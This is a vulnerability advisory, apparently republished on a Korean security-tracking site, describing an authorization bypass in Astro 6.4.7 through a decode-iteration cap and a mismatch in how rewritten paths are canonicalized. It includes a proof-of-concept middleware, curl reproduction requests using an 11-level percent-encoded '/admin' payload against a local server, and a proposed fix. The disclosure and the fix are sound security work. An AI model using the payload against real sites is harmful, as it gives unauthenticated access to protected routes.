Astro: Authorization Bypass via Decode Iteration Limit and Rewrite Path Canonicalization Mismatch
위협 신호 · CVSS · EPSS · KEV
이론적 심각도 점수
30일 내 악용 확률 예측
실측 악용 기록 없음
2주 이내 패치 — 우선 조치 대상
CVSS 벡터 · 메트릭
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N상세 설명
Astro 6.4.7 Authorization Bypass via Decode Iteration Limit and Rewrite Path Canonicalization Mismatch
Summary
Astro 6.4.7 appears to reintroduce a middleware authorization bypass pattern when a request path is encoded more deeply than the newly introduced iterative URL decoder's maximum decoding depth.
The issue occurs because Astro performs authorization decisions on a partially decoded pathname after reaching a decoding iteration cap, while later route matching logic performs an additional decodeURI() operation and resolves the request to a protected route.
As a result, middleware and route matching may operate on different pathname representations, enabling authorization bypasses under specific application patterns.
Potential CWE: CWE-647 – Use of Non-Canonical URL Paths for Authorization Decisions
Vulnerable Pattern
Middleware authorization sees:
1/%61dminLater rewrite route matching sees:
1/adminThis discrepancy allows a request that bypasses middleware checks to subsequently resolve to a protected route.
Root Cause
Iterative Decoding Logic
PR #16967 introduced iterative URI decoding:
1let iterations = 0; 2 3while (decoded !== pathname && iterations < 10) { 4 pathname = decoded; 5 6 try { 7 decoded = decodeURI(pathname); 8 } catch { 9 // decodeURI can fail when a decoded literal '%' forms an10 // invalid sequence with adjacent characters.11 break;12 }13 14 iterations++;15}16 17return decoded;The intent was to ensure middleware receives a fully decoded canonical pathname.
However, once the iteration cap is reached, Astro returns the partially decoded value instead of rejecting the request.
Rewrite Route Matching
Later, Astro performs another decode during route matching:
1const decodedPathname = decodeURI(pathname);Consequently:
1Middleware pathname: /%61dmin 2Route matcher: /adminThis creates a canonicalization mismatch between authorization logic and routing logic.
Proof of Concept
Middleware
1import { defineMiddleware } from 'astro:middleware'; 2 3export const onRequest = defineMiddleware(async (context, next) => { 4 const pathname = context.url.pathname; 5 6 if (pathname === '/admin' || pathname.startsWith('/admin/')) { 7 return new Response( 8 '403 Forbidden: middleware blocked canonical /admin', 9 {10 status: 403,11 headers: {12 'content-type': 'text/plain;charset=UTF-8',13 'x-middleware-pathname': pathname,14 },15 }16 );17 }18 19 if (pathname !== '/') {20 const response = await next(context.url);21 22 response.headers.set('x-middleware-pathname', pathname);23 response.headers.set(24 'x-vuln-pattern',25 'next(context.url) rewrite after pathname check'26 );27 28 return response;29 }30 31 return next();32});The critical pattern is:
1return next(context.url);The middleware makes an authorization decision using a non-canonical path and then forwards the URL into Astro's rewrite machinery.
Reproduction
Protected Route
1curl -i http://127.0.0.1:8989/adminResponse:
1HTTP/1.1 403 Forbidden 2x-middleware-pathname: /admin 3 4403 Forbidden: middleware blocked canonical /adminBypass Request
1curl -i http://127.0.0.1:8989/%252525252525252525252561dminResponse:
1HTTP/1.1 200 OK 2x-middleware-pathname: /%61dmin 3x-vuln-pattern: next(context.url) rewrite after pathname check 4 5Admin page reached 6Protected content rendered after rewrite route matching. 7request url: http://127.0.0.1:8989/%61dminThis demonstrates:
1Middleware saw: /%61dmin 2Router reached: /adminEncoding Depth Analysis
The bypass occurs at encoding depth 11.
Decoder Trace
1depth 0: /%61dmin -> /admin 2depth 1: /%2561dmin -> /admin 3depth 2: /%252561dmin -> /admin 4depth 3: /%25252561dmin -> /admin 5depth 4: /%2525252561dmin -> /admin 6depth 5: /%252525252561dmin -> /admin 7depth 6: /%25252525252561dmin -> /admin 8depth 7: /%2525252525252561dmin -> /admin 9depth 8: /%252525252525252561dmin -> /admin10depth 9: /%25252525252525252561dmin -> /admin11depth 10: /%2525252525252525252561dmin -> /admin12depth 11: /%252525252525252525252561dmin -> /%61dminDepths 0–10 are fully decoded and blocked by middleware.
Depth 11 is the first depth where Astro returns a partially decoded pathname due to the iteration limit.
A later decodeURI() converts:
1/%61dmininto:
1/adminallowing route matching to reach the protected endpoint.
Exploit Preconditions
Exploitation requires:
1. Path-Based Authorization
Middleware performs authorization using:
1context.url.pathnameFor example:
1if (context.url.pathname === '/admin') { 2 block(); 3}2. Rewrite-Based Routing
The request is subsequently passed into Astro routing via:
1next(context.url)or equivalent rewrite behavior that performs route matching after middleware execution.
Impact
An unauthenticated attacker may bypass middleware protections guarding routes such as:
1/admin 2/api/admin 3/internal 4/dashboardif the application:
- Relies on pathname-based authorization checks.
- Uses rewrite behavior that performs route matching after middleware execution.
Affected applications may expose protected pages or APIs despite middleware restrictions.
Security Analysis
The issue belongs to the same vulnerability class as the previously disclosed Astro middleware encoding bypass.
Previous advisories demonstrated bypasses using:
1/%2561dminto reach:
1/adminThe 6.4.7 fix attempted to ensure middleware receives a canonical pathname by repeatedly decoding URL-encoded paths.
However, because decoding is capped at 10 iterations and partially decoded paths are returned, an attacker can simply increase encoding depth beyond the cap and recreate the authorization-routing mismatch.
The existence of a decoding limit is not itself problematic.
The vulnerability arises because Astro:
- Stops decoding.
- Returns a partially canonicalized pathname.
- Performs additional decoding later during route matching.
Authorization and routing therefore operate on different pathname representations.
Recommended Fix
Do not return partially decoded pathnames when the iteration limit is exceeded.
Instead, reject the request whenever decoding has not stabilized before reaching the cap.
Example Fix
1let iterations = 0; 2 3while (decoded !== pathname) { 4 if (iterations >= 10) { 5 throw new Error('URL encoding depth exceeded'); 6 } 7 8 pathname = decoded; 9 10 try {11 decoded = decodeURI(pathname);12 } catch {13 break;14 }15 16 iterations++;17}18 19return decoded;Additional Hardening
Astro should centralize pathname canonicalization and ensure routing logic never performs an additional independent decodeURI() on values that have already been normalized.
Authorization and route matching must operate on the exact same canonical pathname representation.
Conclusion
Astro 6.4.7 appears vulnerable to an authorization bypass caused by a pathname canonicalization mismatch introduced by the iterative decoding limit.
When URL encoding depth exceeds the decoder's maximum iteration count, middleware receives a partially decoded pathname while later route matching performs additional decoding and resolves the request to a protected route.
This can allow unauthorized access to routes protected by pathname-based middleware authorization and should be addressed by rejecting over-encoded paths or ensuring a single canonical pathname representation is used throughout request processing.
AI 심층 분석
공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.
참고 자료 6
링크 내용 불러오는 중…